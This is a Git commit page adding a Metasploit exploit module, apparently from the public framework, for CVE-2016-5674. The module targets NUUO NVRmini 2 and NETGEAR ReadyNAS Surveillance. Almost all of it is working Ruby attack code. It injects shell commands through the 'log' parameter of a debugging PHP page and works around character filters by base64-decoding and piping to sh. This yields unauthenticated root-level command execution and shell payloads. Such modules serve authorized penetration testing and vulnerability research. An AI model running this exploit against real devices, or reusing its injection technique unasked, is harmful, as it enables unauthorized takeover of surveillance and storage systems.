Browse Source

Land #7180, Add exploit for CVE 2016-5674 / Nuuo / Netgear unauth RCE

wchen-r7 3 years ago
parent
commit
cb04ff48bc
No account linked to committer's email address
1 changed files with 152 additions and 0 deletions
  1. 152
    0
      modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb

+ 152
- 0
modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb View File

@@ -0,0 +1,152 @@
1
+##
2
+# This module requires Metasploit: http://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+require 'msf/core'
7
+
8
+class MetasploitModule < Msf::Exploit::Remote
9
+  Rank = ExcellentRanking
10
+
11
+  include Msf::Exploit::Remote::HttpClient
12
+
13
+  def initialize(info = {})
14
+    super(update_info(info,
15
+      'Name'        => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution',
16
+      'Description' => %q{
17
+        The NVRmini 2 Network Video Recorder and the ReadyNAS Surveillance application are vulnerable
18
+        to an unauthenticated remote code execution on the exposed web administration interface.
19
+        This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
20
+        This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
21
+        It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
22
+        in those devices.
23
+      },
24
+      'Author' =>
25
+        [
26
+          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
27
+        ],
28
+      'License' => MSF_LICENSE,
29
+      'References' =>
30
+        [
31
+          ['CVE', '2016-5674'],
32
+          ['US-CERT-VU', '856152'],
33
+          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
34
+          ['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
35
+        ],
36
+      'DefaultOptions' => { 'WfsDelay' => 5 },
37
+      'Platform' => 'unix',
38
+      'Arch' => ARCH_CMD,
39
+      'Privileged' => false,  # Runs as root in NVRmini 2, admin in ReadyNas
40
+      'Payload' =>
41
+        {
42
+          'Space' => 1024,    # Actually it might be the GET request length, but this is a safe value
43
+          'DisableNops' => true,
44
+          # No encoder works, so we have to work around these badchars manually
45
+          #'BadChars'    => "\x2f\x00\x3b\x27\x22",
46
+          'Compat'      =>
47
+            {
48
+              'PayloadType' => 'cmd',
49
+              'RequiredCmd' => 'openssl generic telnet perl'
50
+            }
51
+        },
52
+      'Targets' =>
53
+        [
54
+          [ 'Automatic', { } ],
55
+          [ 'NUUO NVRmini 2', { } ],
56
+          [ 'ReadyNAS NETGEAR Surveillance', { } ],
57
+        ],
58
+      'DefaultTarget' => 0,
59
+      'DisclosureDate' => 'Aug 4 2016'))
60
+
61
+    register_options(
62
+      [
63
+        Opt::RPORT(8081),
64
+        OptString.new('TARGETURI', [true,  "Application path", '/'])
65
+      ], self.class)
66
+  end
67
+
68
+
69
+  def send_payload (payload, wait)
70
+    res = send_request_cgi({
71
+      'uri' => normalize_uri(datastore['TARGETURI'], "__debugging_center_utils___.php"),
72
+      'vars_get' => { 'log' => rand_text_alpha(8 + rand(8)) + ";" + payload }
73
+    }, wait)
74
+    return res
75
+  end
76
+
77
+
78
+  def check
79
+    echo = rand_text_alpha(9 + rand(9))
80
+    res = send_payload("echo #{echo}", 20)
81
+    if res && res.body.to_s =~ /([#{echo}]{2})/
82
+      return Exploit::CheckCode::Vulnerable
83
+    else
84
+      return Exploit::CheckCode::Safe
85
+    end
86
+  end
87
+
88
+
89
+  def id_target
90
+    return target if target.name != 'Automatic'
91
+    res = send_request_cgi({
92
+      'uri' => normalize_uri(datastore['TARGETURI'])
93
+    })
94
+    if res && res.code == 200
95
+      if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/
96
+        print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.")
97
+        return targets[2]
98
+      else
99
+        print_status("#{peer} - Identified NUUO NVRMini 2 as the target.")
100
+        return targets[1]
101
+      end
102
+    end
103
+  end
104
+
105
+
106
+  def exploit
107
+    my_target = id_target
108
+    if my_target == targets[1]
109
+      #
110
+      # The command cannot have forward slashes, single quotes or double quotes, so we remove
111
+      # the redir to /dev/null and the single quotes in the Metasploit payload. Because of the
112
+      # latter we also have to remove the "sh -c" part for the command to execute properly.
113
+      #
114
+      # This all sounds messy, but it was impossible to get any payload to encode properly as the
115
+      # target is an embedded system without base64, perl, python, ruby and similar utilities.
116
+      #
117
+      # We also have to check for perl, awk and lua as these are valid payloads for the ReadyNAS
118
+      # but not for the NVRmini 2.
119
+      #
120
+      # Also because of Metasploit payload limitations we cannot specify different payload constraints
121
+      # for different targets, so we use the payload raw for the NVRmini 2 and encoded for the ReadyNAS.
122
+      #
123
+      if payload.raw.include?("perl")
124
+        fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or telnet payloads.")
125
+      end
126
+      payload_clean = payload.raw.gsub('>/dev/null', '').gsub('sh -c', '').gsub('"','').gsub("'",'')
127
+      if not payload_clean =~ /([\/'"]+)/
128
+        print_status("#{peer} - Executing payload...")
129
+        send_payload(payload_clean, 1)
130
+        handler
131
+      else
132
+        fail_with(Failure::Unknown, "Your payload cannot have any of the following characters: / ' \"")
133
+      end
134
+    elsif my_target == targets[2]
135
+      #
136
+      # The ReadyNAS has less char restrictions (it only fails with forward slash) but it also
137
+      # does not have the telnet binary.
138
+      # We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows
139
+      # it up.
140
+      #
141
+      if payload.raw.include? "telnet"
142
+        fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support telnet payloads (try openssl or perl).")
143
+      end
144
+      print_status("#{peer} - Executing payload...")
145
+      payload_clean = payload.raw.gsub("-MIO ", "-MIO::Socket ")
146
+      send_payload("echo #{Rex::Text.encode_base64(payload_clean)} | base64 -d | sh", 1)
147
+      handler
148
+    else
149
+      fail_with(Failure::Unknown, "Failed to pick a target")
150
+    end
151
+  end
152
+end

Loading…
Cancel
Save